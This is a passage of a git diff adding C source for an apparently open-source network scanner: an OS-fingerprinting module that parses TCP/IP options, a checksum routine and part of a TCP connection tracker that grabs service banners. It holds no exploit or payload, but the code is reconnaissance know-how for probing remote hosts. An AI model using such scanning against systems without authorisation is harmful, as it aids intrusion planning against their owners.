b->tcpopt_u.maxseg); + match=0; + } + break; + + case TCPOPT_TIMESTAMP: + break; + + default: + break; + } + + if (match == 0) { + //MSG(M_DBG2, "mis-match tcpoptions!"); + break; + } + + a++; b++; + } + + return match; +} + +int osd_add_fingerprint(const char *str) { + char *sdup, *tok=NULL, *subtok=NULL, *st1=NULL, *st2=NULL; + fps_t *fnew=NULL; + int fpstate=0; +#define FPSTATE_NONE 0 +#define FPSTATE_STIMFP 1 +#define FPSTATE_TCPFLAGS 2 +#define FPSTATE_IPTTL 3 +#define FPSTATE_IPDF 4 +#define FPSTATE_TCPWS 5 +#define FPSTATE_IPTOS 6 +#define FPSTATE_MISCFLGS 7 +#define FPSTATE_TCPOPTS 8 +#define FPSTATE_OSTYPE 9 +#define FPSTATE_OSDESC 10 + + if (str == NULL || strlen(str) < 1) { + return 0; + } + fnew=(fps_t *)xmalloc(sizeof(fps_t)); + memset(fnew, 0, sizeof(fps_t)); + + sdup=xstrdup(str); + for ( fpstate=FPSTATE_NONE, tok=strtok_r(sdup, ", \t", &st1) ; + tok != NULL ; + tok=strtok_r(NULL, ", \t", &st1) + ) { + + if (strlen(tok)) fpstate++; + + //MSG(M_DBG2, "token `%s' at state %d", tok, fpstate); + + switch (fpstate) { + case FPSTATE_STIMFP: + if (tok[0] == 'S' && tok[1] == 'T') { + tok += 2; + } + fnew->stim_fp=atoi(tok); + break; + + case FPSTATE_TCPFLAGS: + for (; *tok != '\0'; tok++) { + switch (*tok) { + case 'S': + fnew->flag_syn=1; + break; + case 'A': + fnew->flag_ack=1; + break; + case 'F': + fnew->flag_fin=1; + break; + case 'R': + fnew->flag_rst=1; + break; + case 'U': + fnew->flag_urg=1; + break; + case 'P': + fnew->flag_urg=1; + break; + default: + ERR("Unknown TCP flag `%c', ignoring it!", *tok); + goto error; + } + } + break; + + case FPSTATE_IPTTL: + fnew->ttl=atoi(tok); + break; + + case FPSTATE_IPDF: + fnew->df=atoi(tok); + break; + + case FPSTATE_TCPWS: + fnew->ws=atoi(tok); + break; + + case FPSTATE_IPTOS: + fnew->tos=atoi(tok); + break; + + case FPSTATE_MISCFLGS: + + for ( subtok=strtok_r(tok, "|", &st2) ; + subtok != NULL ; + subtok=strtok_r(NULL, "|", &st2) + ) { + fnew->misc_flags=0; + if (strcmp(subtok, "TS0") == 0) { + fnew->misc_flags |= OSD_TIMESTAMP_ZERO; + } + else if (strcmp(subtok, "none") == 0) { + break; + } + else { + DBG(M_MOD, "Ack! %s", subtok); + goto error; + } + } + break; + + case FPSTATE_TCPOPTS: + if (osd_str_to_tcpopts(tok, fnew->tcpopts) != 1) { + ERR("badly formed tcpoption string"); + goto error; + break; + } + break; + + case FPSTATE_OSTYPE: + fnew->ostype=xstrdup(tok); + break; + + case FPSTATE_OSDESC: + fnew->osdesc=xstrdup(tok); + break; + + default: + ERR("Unknown state %d", fpstate); + goto error; + break; + } + } + + if (sdup) xfree(sdup); + + VRB(2, "adding fingerprint for %s:%s", fnew->ostype, fnew->osdesc); + + osd_add_fp(fnew); + + return 1; +error: + + ERR("bad fingerprint from configuration file!, ignoring it"); + + if (fnew && fnew->ostype) xfree(fnew->ostype); + if (fnew && fnew->osdesc) xfree(fnew->osdesc); + if (fnew) xfree(fnew); + + return 0; +} + +static int osd_str_to_tcpopts(char *str, tcpopt_t *to) { + unsigned int j=0, tcpopt_cnt=0; + tcpopt_t *walk=NULL; + char *tok=NULL, *st1=NULL; + + assert(str != NULL && to != NULL); + + for (walk=to, j=0; j < MAX_TCPOPTS; j++) { + walk->type=-1; + walk++; + } + + //MSG(M_DBG2, "osd_str_to_tcpopts for %s", str); + + tcpopt_cnt=0; + for (tok=strtok_r(str, ":", &st1); tok != NULL; tok=strtok_r(NULL, ":", &st1)) { + tcpopt_cnt++; + + if (tcpopt_cnt > MAX_TCPOPTS) { + ERR("Too many tcpoptions, ignoring the rest!"); + break; + } + + //MSG(M_DBG2, "tcpoption %s", tok); + if (strlen(tok) > 3 && strncmp(tok, "MSS", 3) == 0) { + to->type=TCPOPT_MAXSEG; + if (sscanf(tok + 3, "%hu", &to->tcpopt_u.maxseg) != 1) { + ERR("Bad tcpopt maxseg value!"); + continue; + } + sprintf(to->desc, "MSS%hu", to->tcpopt_u.maxseg); + to++; + } + else if (strlen(tok) > 2 && strncmp(tok, "WS", 2) == 0) { + uint16_t rval=0; + + to->type=TCPOPT_WINDOW; + if (sscanf(tok + 2, "%hu", &rval) != 1) { + ERR("Bad tcpopt windowscale value!"); + continue; + } + if (rval > 0xff) { + ERR("Bad tcpopt windowscale value! (out of range)"); + continue; + } + to->tcpopt_u.wscale=(uint8_t )rval & 0xff; + sprintf(to->desc, "WS%hu", to->tcpopt_u.wscale); + to++; + } + else if (strlen(tok) == 2 && strncmp(tok, "TS", 2) == 0) { + to->type=TCPOPT_TIMESTAMP; + to->tcpopt_u.tstamp_s.us=0x41414141; + to->tcpopt_u.tstamp_s.them=0x41414141; + strcpy(to->desc, "TS?:?"); + to++; + } + else if (tok[0] == 'N' && tok[1] == '\0') { + to->type=TCPOPT_NOP; + strcpy(to->desc, "N"); + to++; + } + else if (tok[0] == 'E' && tok[1] == '\0') { + to->type=TCPOPT_EOL; + strcpy(to->desc, "E"); + to++; + } + else if (tok[0] == 'S' && tok[1] == '\0') { + to->type=TCPOPT_SACK_PERMITTED; + strcpy(to->desc, "S"); + to++; + } + else { + ERR("Unknown tcpoption %s", tok); + } + } + + return 1; +} + +static void osd_add_fp(fps_t *n) { + assert(n != NULL); + + if (head == NULL) { + head=n; + head->next=NULL; + } + else { + fps_t *walk=NULL; + + for (walk=head; walk->next != NULL; walk=walk->next) { + ; + } + walk->next=n; + walk=walk->next; + walk->next=NULL; + } +} + +void osd_get_tcpopts(tcpopt_t *t, const uint8_t *data, size_t len, int *misc_flags) { + const uint8_t *ptr=NULL; + unsigned int tcpopt_off=0; + size_t dataoff=0; + union { + const uint8_t *ptr; + const uint16_t *hw; + const uint32_t *w; + struct { + uint32_t *w1; + uint32_t *w2; + } dw; + } w_u; + + for (ptr=data; dataoff < len && dataoff < 0xff; /* options are variable length */) { + switch ((uint8_t )*ptr) { + + case TCPOPT_EOL: + strcat(t[tcpopt_off].desc, "E"); + t[tcpopt_off++].type=TCPOPT_EOL; + dataoff++; ptr++; + break; + + case TCPOPT_NOP: + strcat(t[tcpopt_off].desc, "N"); + t[tcpopt_off++].type=TCPOPT_NOP; + dataoff++; ptr++; + break; + + case TCPOPT_MAXSEG: + dataoff++; ptr++; + if (*ptr != 4 || (dataoff + 2) > len) { + break; + } + ptr++; dataoff++; + w_u.ptr=ptr; + t[tcpopt_off].tcpopt_u.maxseg=ntohs(*w_u.hw); + sprintf(t[tcpopt_off].desc, "MS%hu", t[tcpopt_off].tcpopt_u.maxseg); + t[tcpopt_off++].type=TCPOPT_MAXSEG; + ptr += 2; dataoff += 2; + break; + + case TCPOPT_SACK_PERMITTED: + dataoff++; ptr++; + if (*ptr != 2) { + break; + } + strcat(t[tcpopt_off].desc, "S"); + t[tcpopt_off++].type=TCPOPT_SACK_PERMITTED; + dataoff++; ptr++; + break; + + case TCPOPT_TIMESTAMP: + dataoff++; ptr++; + if (*ptr != 10 || (dataoff + 9) > len) { + break; + } + ptr++; dataoff++; + + w_u.ptr=ptr; + t[tcpopt_off].tcpopt_u.tstamp_s.them=*w_u.w; + ptr += 4; dataoff += 4; + + w_u.ptr=ptr; + t[tcpopt_off].tcpopt_u.tstamp_s.us=*w_u.w; + ptr += 4; dataoff += 4; + + if (t[tcpopt_off].tcpopt_u.tstamp_s.them == 0) { + *misc_flags |= OSD_TIMESTAMP_ZERO; + } + else if (t[tcpopt_off].tcpopt_u.tstamp_s.them < 0xff) { + *misc_flags |= OSD_TIMESTAMP_LOW_BIGENDIAN; + } + else if (ntohl(t[tcpopt_off].tcpopt_u.tstamp_s.them) < 0xff) { + *misc_flags |= OSD_TIMESTAMP_LOW_LITTLEENDIAN; + } + + sprintf(t[tcpopt_off].desc, "T%08x:%08x", t[tcpopt_off].tcpopt_u.tstamp_s.them, + t[tcpopt_off].tcpopt_u.tstamp_s.us); + + t[tcpopt_off++].type=TCPOPT_TIMESTAMP; + break; + + case TCPOPT_WINDOW: + dataoff++; ptr++; + if (*ptr != 3 || (dataoff + 1) > len) { + break; + } + ptr++; dataoff++; + t[tcpopt_off].tcpopt_u.wscale=*ptr; + sprintf(t[tcpopt_off].desc, "WS%hu", t[tcpopt_off].tcpopt_u.wscale); + t[tcpopt_off++].type=TCPOPT_WINDOW; + ptr++; dataoff++; + break; + + default: + dataoff++; ptr++; + } + } + + return; +} diff --git a/src/report_modules/osdetect/dodetect.h b/src/report_modules/osdetect/dodetect.h new file mode 100644 index 0000000..b164754 --- /dev/null +++ b/src/report_modules/osdetect/dodetect.h @@ -0,0 +1,26 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _OS_DETECT_H +# define _OS_DETECT_H + +char *do_osdetect(const uint8_t *, size_t); +int osd_add_fingerprint(const char *); +char *osd_find_match(const fps_t *); + +#endif diff --git a/src/report_modules/osdetect/module.c b/src/report_modules/osdetect/module.c new file mode 100644 index 0000000..0c86df3 --- /dev/null +++ b/src/report_modules/osdetect/module.c @@ -0,0 +1,190 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "module.h" +#include "dodetect.h" + +static mod_entry_t *_m=NULL; +const settings_t *s=NULL; +static int _disabled=0; + +void osdetect_init(void); +void osdetect_fini(void); +int osdetect_handle_report(const void *); + +osd_t osd; + +/* i wrote all this the day before the defcon talk, so umm, yah... */ + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "OS Detection"); + snprintf(m->name, sizeof(m->name) -1, "osdetect"); + snprintf(m->errstr, sizeof(m->errstr) -1, "No Error"); + + m->iver=0x0103; /* 1.0 */ + m->type=MI_TYPE_REPORT; + + m->param_u.report_s.ip_proto=6; + m->param_u.report_s.sport=-1; + m->param_u.report_s.sport=-1; + m->param_u.report_s.immed=1; + m->param_u.report_s.init_report=&osdetect_init; + m->param_u.report_s.fini_report=&osdetect_fini; + + _disabled=1; + + _m=m; + s=_m->s; + return 1; +} + +int delete_module(void) { + return 1; +} + +void osdetect_init(void) { + keyval_t *kv=NULL; + + _disabled=0; + + if (_m == NULL) { + ERR("no mod_entry structure, disabling osdetect module"); + _disabled=1; + return; + } + + grab_keyvals(_m); + + if (_m->mp == NULL) { + ERR("no fingerprints possible [no fingerprint data], disabling osdetect module"); + _disabled=1; + return; + } + + osd.dump_unknown=0; + + for (kv=_m->mp->kv ; kv != NULL ; kv=kv->next) { + if (strcmp(kv->key, "DATA") == 0) { + if (osd_add_fingerprint(kv->value) != 1) { + ERR("cant add fingerprint %s", kv->value); + } + } + else { + if (strcmp(kv->key, "dumpunknown") == 0) { + if (kv->value[0] == '1') { + osd.dump_unknown=1; + DBG(M_MOD, "osdetect, dumping unknown fingerprints"); + } + } + else { + ERR("Unknown configuration statement %s=%s", + kv->key, kv->value + ); + } + } + } + + if (scan_setretlayers(0xff) < 0) { + ERR("Unable to request packet transfer though IPC, disabling osdetect module"); + _disabled=1; + return; + } + + osd.stim_fp=_m->s->ss->fingerprint; + osd.mtu=_m->s->ss->mtu; + + return; +} + +void osdetect_fini(void) { + return; +} + +int create_report(const void *r) { + union { + const ip_report_t *ir; + const arp_report_t *ar; + const void *ptr; + const uint8_t *cr; + const uint32_t *r_magic; + const uint16_t *len; + struct myiphdr *i; + } r_u; + size_t dlen=0; + output_data_t *e_out=NULL; + char *res=NULL; + struct in_addr ia; + + r_u.ptr=r; + + if (_disabled == 1 || *r_u.r_magic != IP_REPORT_MAGIC) { + return 1; + } + + if (r_u.ir->proto != IPPROTO_TCP) { + return 1; + } + + if (r_u.ir->doff > 0) { + dlen=(size_t)r_u.ir->doff; + r_u.cr += sizeof(ip_report_t); + + if (*r_u.len != dlen) { + ERR("Mis-Match length of packet data"); + return 1; + } + + r_u.len++; + + if (dlen < sizeof(struct myiphdr)) { + return 1; + } + + ia.s_addr=r_u.i->saddr; + + res=do_osdetect(r_u.cr, dlen); + + if (GET_IMMEDIATE() && res != NULL && strlen(res)) { + OUT("System at %s matches OS %s", inet_ntoa(ia), res); + } + + if (res != NULL) { + e_out=(output_data_t *)xmalloc(sizeof(output_data_t)); + e_out->type=OD_TYPE_OS; + e_out->t_u.os=(char *)xstrdup(res); + r_u.ptr=r; /* reset */ + assert(r_u.ir->od_q != NULL); + fifo_push(r_u.ir->od_q, (void *)e_out); + } + } + + return 1; +} diff --git a/src/report_modules/osdetect/module.h b/src/report_modules/osdetect/module.h new file mode 100644 index 0000000..3bd306d --- /dev/null +++ b/src/report_modules/osdetect/module.h @@ -0,0 +1,94 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _OSD_MODULE_H +# define _OSD_MODULE_H + +#define MAX_TCPOPTS 16 + +const extern settings_t *s; + +typedef struct tcpopt_t { + char desc[64]; + int type; + union { + uint8_t wscale; + uint16_t maxseg; + struct { + uint32_t them; + uint32_t us; + } tstamp_s; + } tcpopt_u; +} tcpopt_t; + +typedef struct fps_t { + uint16_t stim_fp; /* this signature was in response to THIS * + * syn fingerprint */ + + uint8_t flag_fin:1; /* is this a syn-ack, etc? */ + uint8_t flag_syn:1; /* is this a syn-ack, etc? */ + uint8_t flag_rst:1; /* is this a syn-ack, etc? */ + uint8_t flag_psh:1; /* is this a syn-ack, etc? */ + uint8_t flag_ack:1; /* is this a syn-ack, etc? */ + uint8_t flag_urg:1; /* is this a syn-ack, etc? */ + uint8_t flag_ece:1; /* is this a syn-ack, etc? */ + uint8_t flag_cwr:1; /* is this a syn-ack, etc? */ + +#if 0 + uint8_t window_flags; /* if this is based upon MTU for example, or * + * something else */ +#define OSD_WINDOW_ABS 0 /* the window size is literal */ +#define OSD_WINDOW_MSSMULT 1 /* in p0f this is S?? */ +#define OSD_WINDOW_MTU40MULT 2 /* in p0f this is T?? */ + + uint8_t window_mult; /* this is used when its based upon mtu somehow */ +#endif + uint16_t urg_ptr; + + uint8_t ttl; /* initial ttl */ + uint8_t df; /* ip Dont fragment */ + uint16_t ws; /* window size */ + uint8_t tos; /* type of service from ip header */ + + int misc_flags; +#define OSD_TIMESTAMP_LOW_LITTLEENDIAN 1 +#define OSD_TIMESTAMP_LOW_BIGENDIAN 2 /* clearly these should not all be set ;] */ +#define OSD_TIMESTAMP_ZERO 4 +#define OSD_URGPTR_LEAK 8 +#define OSD_RESFLAGS_LEAK 16 +#define OSD_ECE_ON 32 +#define OSD_CWR_ON 64 + + + char *ostype; /* */ + char *osdesc; /* */ + + tcpopt_t tcpopts[MAX_TCPOPTS]; + struct fps_t *next; +} fps_t; + +typedef struct osd_t { + uint16_t stim_fp; + uint16_t mtu; + int dump_unknown; + fps_t **fps; +} osd_t; + +extern osd_t osd; + +#endif diff --git a/src/scan_progs/Makefile.in b/src/scan_progs/Makefile.in new file mode 100644 index 0000000..5453a59 --- /dev/null +++ b/src/scan_progs/Makefile.in @@ -0,0 +1,56 @@ +include ../../Makefile.inc + +LS_SRCS=chksum.c connect.c master.c options.c packet_slice.c \ + payload.c portfunc.c scanopts.c workunits.c makepkt.c report.c +LS_HDRS=$(LS_SRCS:.c=.h) tcphash.h +LS_OBJS=$(LS_SRCS:.c=.lo) +LS_LIBNAME=libscan.la + +S_SRCS=send_packet.c init_packet.c +S_HDRS=$(S_SRCS:.c=.h) +S_OBJS=$(S_SRCS:.c=.lo) + +L_SRCS=recv_packet.c packet_parse.c +L_HDRS=$(L_SRCS:.c=.h) +L_OBJS=$(L_SRCS:.c=.lo) + +ENTRY=entry.c + +G_HDRS=packets.h scan_export.h +G_LDPATH=-L$(BUILD_DIR)/src/unilib -L$(BUILD_DIR)/src/parse -L$(BUILD_DIR)/src/scan_progs +G_LDADD=-lscan -lparse -lunilib -lltdl -ldnet -luext + +all: $(L_LIBNAME) @sendername@ @listenername@ + +$(LS_LIBNAME): $(LS_OBJS) $(LS_HDRS) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o $(LS_LIBNAME) $(LS_OBJS) + +@sendername@: $(S_OBJS) $(LS_LIBNAME) $(S_HDRS) ../unilib/libunilib.la ../parse/libparse.la $(ENTRY) + $(LIBTOOL) --mode=clean rm -f $(ENTRY:.c=.lo) + $(LIBTOOL) --mode=compile $(CC) $(CFLAGS) -DBUILD_IDENT_SEND=1 -c $(ENTRY) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -export-dynamic -o @sendername@ $(S_OBJS) $(C_OBJS) $(ENTRY:.c=.lo) $(G_LDPATH) $(LDFLAGS) $(G_LDADD) + +@listenername@: $(L_OBJS) $(LS_LIBNAME) $(L_HDRS) ../unilib/libunilib.la ../parse/libparse.la $(ENTRY) + $(LIBTOOL) --mode=clean rm -f $(ENTRY:.c=.lo) + $(LIBTOOL) --mode=compile $(CC) $(CFLAGS) -DBUILD_IDENT_RECV=1 -c $(ENTRY) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -export-dynamic -o @listenername@ $(L_OBJS) $(C_OBJS) $(ENTRY:.c=.lo) $(G_LDPATH) $(LDFLAGS) $(G_LDADD) -lpcap + +testsd: + cd tests && @USE_MAKE@ + +install: all + mkdir -p $(DESTDIR)/$(libexecdir)/$(TARGETNAME) + $(INSTALL_PROGRAM) -m @SP_MODE@ @sendername@ $(DESTDIR)/$(libexecdir)/$(TARGETNAME) + $(INSTALL_PROGRAM) -m @SP_MODE@ @listenername@ $(DESTDIR)/$(libexecdir)/$(TARGETNAME) + $(CHCON) system_u:object_r:unisend_exec_t $(DESTDIR)/$(libexecdir)/$(TARGETNAME)/@sendername@ + $(CHCON) system_u:object_r:unilisten_exec_t $(DESTDIR)/$(libexecdir)/$(TARGETNAME)/@listenername@ + +uninstall: + rm -f $(DESTDIR)/$(libexecdir)/$(TARGETNAME)/@sendername@ + rm -f $(DESTDIR)/$(libexecdir)/$(TARGETNAME)/@listenername@ + +clean: + cd tests && @USE_MAKE@ clean + $(LIBTOOL) --mode=clean rm -rf $(S_OBJS) $(L_OBJS) $(LS_OBJS) @sendername@ @listenername@ $(LS_LIBNAME) $(ENTRY:.c=.lo) + +distclean: clean diff --git a/src/scan_progs/chksum.c b/src/scan_progs/chksum.c new file mode 100644 index 0000000..9b9a840 --- /dev/null +++ b/src/scan_progs/chksum.c @@ -0,0 +1,86 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +/* + * Compute Internet Checksum for "count" bytes + * beginning at location "addr". + * adapted from rfc1071 + */ +uint16_t do_ipchksum(const uint8_t *addr, size_t len) { + union { + const uint16_t *hw; + const uint8_t *c; + } a_u; + int sum=0; + uint16_t checksum=0; + + a_u.c=addr; + + while (len > 1) { + sum += *a_u.hw; len -= 2; a_u.hw++; + } + + if (len) { + sum += htons(*a_u.c << 8); + } + + sum=(sum & 0xffff) + (sum >> 16); + sum += (sum >> 16); + + checksum=~(sum); + + return checksum; +} + +uint16_t do_ipchksumv(const struct chksumv *array, int stlen) { + union { + const uint16_t *hw; + const uint8_t *c; + } a_u; + int j=0, sum=0; + size_t len=0; + uint16_t checksum=0; + + if (stlen < 1) { + return 0x0d1e; /* ;] */ + } + + for (j=0; j < stlen; j++) { + len=array[j].len; + a_u.c=array[j].ptr; + + while (len > 1) { + sum += *a_u.hw; len -= 2; a_u.hw++; + } + + if (len) { + sum += htons(*a_u.c << 8); + } + } + + sum=(sum & 0xffff) + (sum >> 16); + sum += (sum >> 16); + + checksum=~(sum); + + return checksum; +} diff --git a/src/scan_progs/chksum.h b/src/scan_progs/chksum.h new file mode 100644 index 0000000..7a28442 --- /dev/null +++ b/src/scan_progs/chksum.h @@ -0,0 +1,40 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _CHKSUM_H +# define CHKSUM_H + +typedef struct _PACKED_ ip_pseudo_t { + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t proto; + uint16_t len; +} ip_pseudo_t; /* precalculated ip pseudo header read inside the tcp|udp areas for checksumming */ + +uint16_t do_ipchksum(const uint8_t * /* ptr */, size_t /* count */); + +/* this is to make the pseudo header chksum()ing less work, and to avoid copying memory */ +struct chksumv { + const uint8_t *ptr; + size_t len; +}; + +uint16_t do_ipchksumv(const struct chksumv * /* chksum struct array */, int /* # of structs */); + +#endif diff --git a/src/scan_progs/connect.c b/src/scan_progs/connect.c new file mode 100644 index 0000000..e5783fa --- /dev/null +++ b/src/scan_progs/connect.c @@ -0,0 +1,996 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * these are for the connection code, one is a "workunit" queue to send to the sender + * the other is a tcp connection state table to base workunits from + */ + +/* ripped from SCO OpenServer `fireball' + * TCP_ESTABLISHED connection established + * + * TCP_FIN_WAIT1 our side has shutdown, waiting to complete + * transmission of remaining buffered data + * + * TCP_FIN_WAIT2 all buffered data sent, waiting for remote + * to shutdown + * + * TCP_CLOSING both sides have shutdown but we still have + * data we have to finish sending + * + * TCP_TIME_WAIT timeout to catch resent junk before entering + * closed, can only be entered from FIN_WAIT2 + * or CLOSING. Required because the other end + * may not have gotten our last ACK causing it + * to retransmit the data packet (which we ignore) + * + * TCP_CLOSE_WAIT remote side has shutdown and is waiting for + * us to finish writing our data and to shutdown + * (we have to close() to move on to LAST_ACK) + * + * TCP_LAST_ACK out side has shutdown after remote has + * shutdown. There may still be data in our + * buffer that we have to finish sending + * + * TCP_CLOSE socket is finished +*/ +static void *state_tbl=NULL; /* rbtree, or chtbl */ + +static unsigned int a_conns=0; + +typedef struct connection_status_t { + int status; +#define U_TCP_ESTABLISHED 1 +#define U_TCP_FIN_WAIT1 2 +#define U_TCP_FIN_WAIT2 3 +#define U_TCP_CLOSING 4 +#define U_TCP_TIME_WAIT 5 +#define U_TCP_CLOSE_WAIT 6 +#define U_TCP_LAST_ACK 7 +#define U_TCP_CLOSE 8 + int ack_pending; + uint32_t window; + uint16_t mss; + uint32_t tseq; + uint32_t mseq; + uint32_t t_tstamp; + uint32_t m_tstamp; + uint32_t send_ip; + + size_t recv_stseq; + size_t recv_len; + uint8_t *recv_buf; + +#define OOSM 32 + struct { + uint8_t *buf; + size_t len; + uint32_t sseq; + } outoforder_segments_s[OOSM]; + + size_t send_len; + uint8_t *send_buf; +} connection_status_t; + +static char *strconnstatus(int /* status */); + +static uint64_t get_connectionkey(const ip_report_t *); +static size_t try_and_extract_tcp_data(const uint8_t * /* packet data */, size_t /* packet length */, connection_status_t * /* connection */); +static void send_connect(uint64_t /* state key */, connection_status_t *, void * /* pri_work */, const ip_report_t * /* report */); +static int kill_connection(uint64_t /* state key */, void * /* connection_status_t ptr */, void * /* callback data */); + +void connect_init(void) { + state_tbl=rbinit(111); + return; +} + +void connect_destroy(void) { + rbdestroy(state_tbl); +} + +void connect_grabbanners(ip_report_t *r) { + union { + void *ptr; + connection_status_t *c; + } c_u; + uint64_t state_key=0; + uint8_t *c_ptr=NULL; + output_data_t *e_out=NULL; + char pchars[256]; + size_t p_off=0, j=0; + + state_key=get_connectionkey(r); + + if (rbfind(state_tbl, state_key, &c_u.ptr) > 0) { + + memset(pchars, 0, sizeof(pchars)); + + for (j=0, p_off=0, c_ptr=c_u.c->recv_buf; j < c_u.c->recv_len; j++, c_ptr++) { + if (isgraph(*c_ptr) || *c_ptr == ' ') { + pchars[p_off++]=(char )*c_ptr; + } + if (p_off > (sizeof(pchars) -2)) break; + } + + if (p_off > 0) { + e_out=(output_data_t *)xmalloc(sizeof(output_data_t)); + e_out->type=OD_TYPE_BANNER; + e_out->t_u.banner=xstrdup(pchars); + + fifo_push(r->od_q, (void *)e_out); + } + } + + return; +} + +static uint64_t get_connectionkey(const ip_report_t *r) { + union { + uint64_t state_key; + struct { + uint32_t dhost; + uint16_t sport; + uint16_t dport; + } s; + } k_u; + + assert(r != NULL); + + k_u.s.dhost=r->host_addr; + k_u.s.dport=r->dport; + k_u.s.sport=r->sport; + + return k_u.state_key; +} + +void connect_do(void *pri_work, const ip_report_t *r) { + char shost_s[32]; + union { + void *ptr; + send_pri_workunit_t *w; + uint8_t *inc; + } w_u; + union { + void *ptr; + connection_status_t *c; + } c_u; + union { + const uint8_t *packet; + const ip_report_t *r; + const uint16_t *len; + } r_u; + struct in_addr ia; + uint64_t state_key=0; + size_t dlen=0, pk_len=0; + uint32_t dhost=0, shost=0; + uint16_t sport=0, dport=0; + + if (r == NULL) { + PANIC("r ptr NULL"); + } + if (state_tbl == NULL) { + PANIC("state table null"); + } + if (pri_work == NULL) { + PANIC("pri_work NULL"); + } + + if (r->magic != IP_REPORT_MAGIC) { + ERR("wrong magic number for IP report"); + return; + } + + state_key=get_connectionkey(r); + + dhost=r->host_addr; + dport=r->sport; + sport=r->dport; + shost=r->send_addr; + + if (rbfind(state_tbl, state_key, &c_u.ptr) > 0) { + DBG(M_CON, "connection with flags are %s status is %d", strtcpflgs(r->type), c_u.c->status); + + r_u.r=r; + + if (r_u.r->doff) { + pk_len=r_u.r->doff; + r_u.packet += sizeof(ip_report_t); + if (*r_u.len != pk_len) { + ERR("report is damaged?, packet seems broken"); + return; + } + else { + r_u.len++; + + dlen=try_and_extract_tcp_data(r_u.packet, pk_len, c_u.c); + if (dlen > 0) { + c_u.c->tseq += dlen; + } + } + } + + if (c_u.c->m_tstamp == 0 || c_u.c->t_tstamp == 0) { + c_u.c->m_tstamp=0; + c_u.c->t_tstamp=0; + } + else { + c_u.c->m_tstamp++; /* XXX good enough for testing */ + } + + + if (dlen < c_u.c->window) c_u.c->window -= dlen; + + if (r->type & TH_RST) { + c_u.c->status=U_TCP_CLOSE; + s->stats.stream_remote_abort++; + a_conns--; + } + + switch (c_u.c->status) { + case U_TCP_ESTABLISHED: + + if (r->type & TH_PSH) { + w_u.ptr=xmalloc(sizeof(send_pri_workunit_t)); + w_u.w->magic=PRI_4SEND_MAGIC; + w_u.w->dhost=dhost; + w_u.w->dport=dport; + w_u.w->sport=sport; + w_u.w->shost=c_u.c->send_ip; + 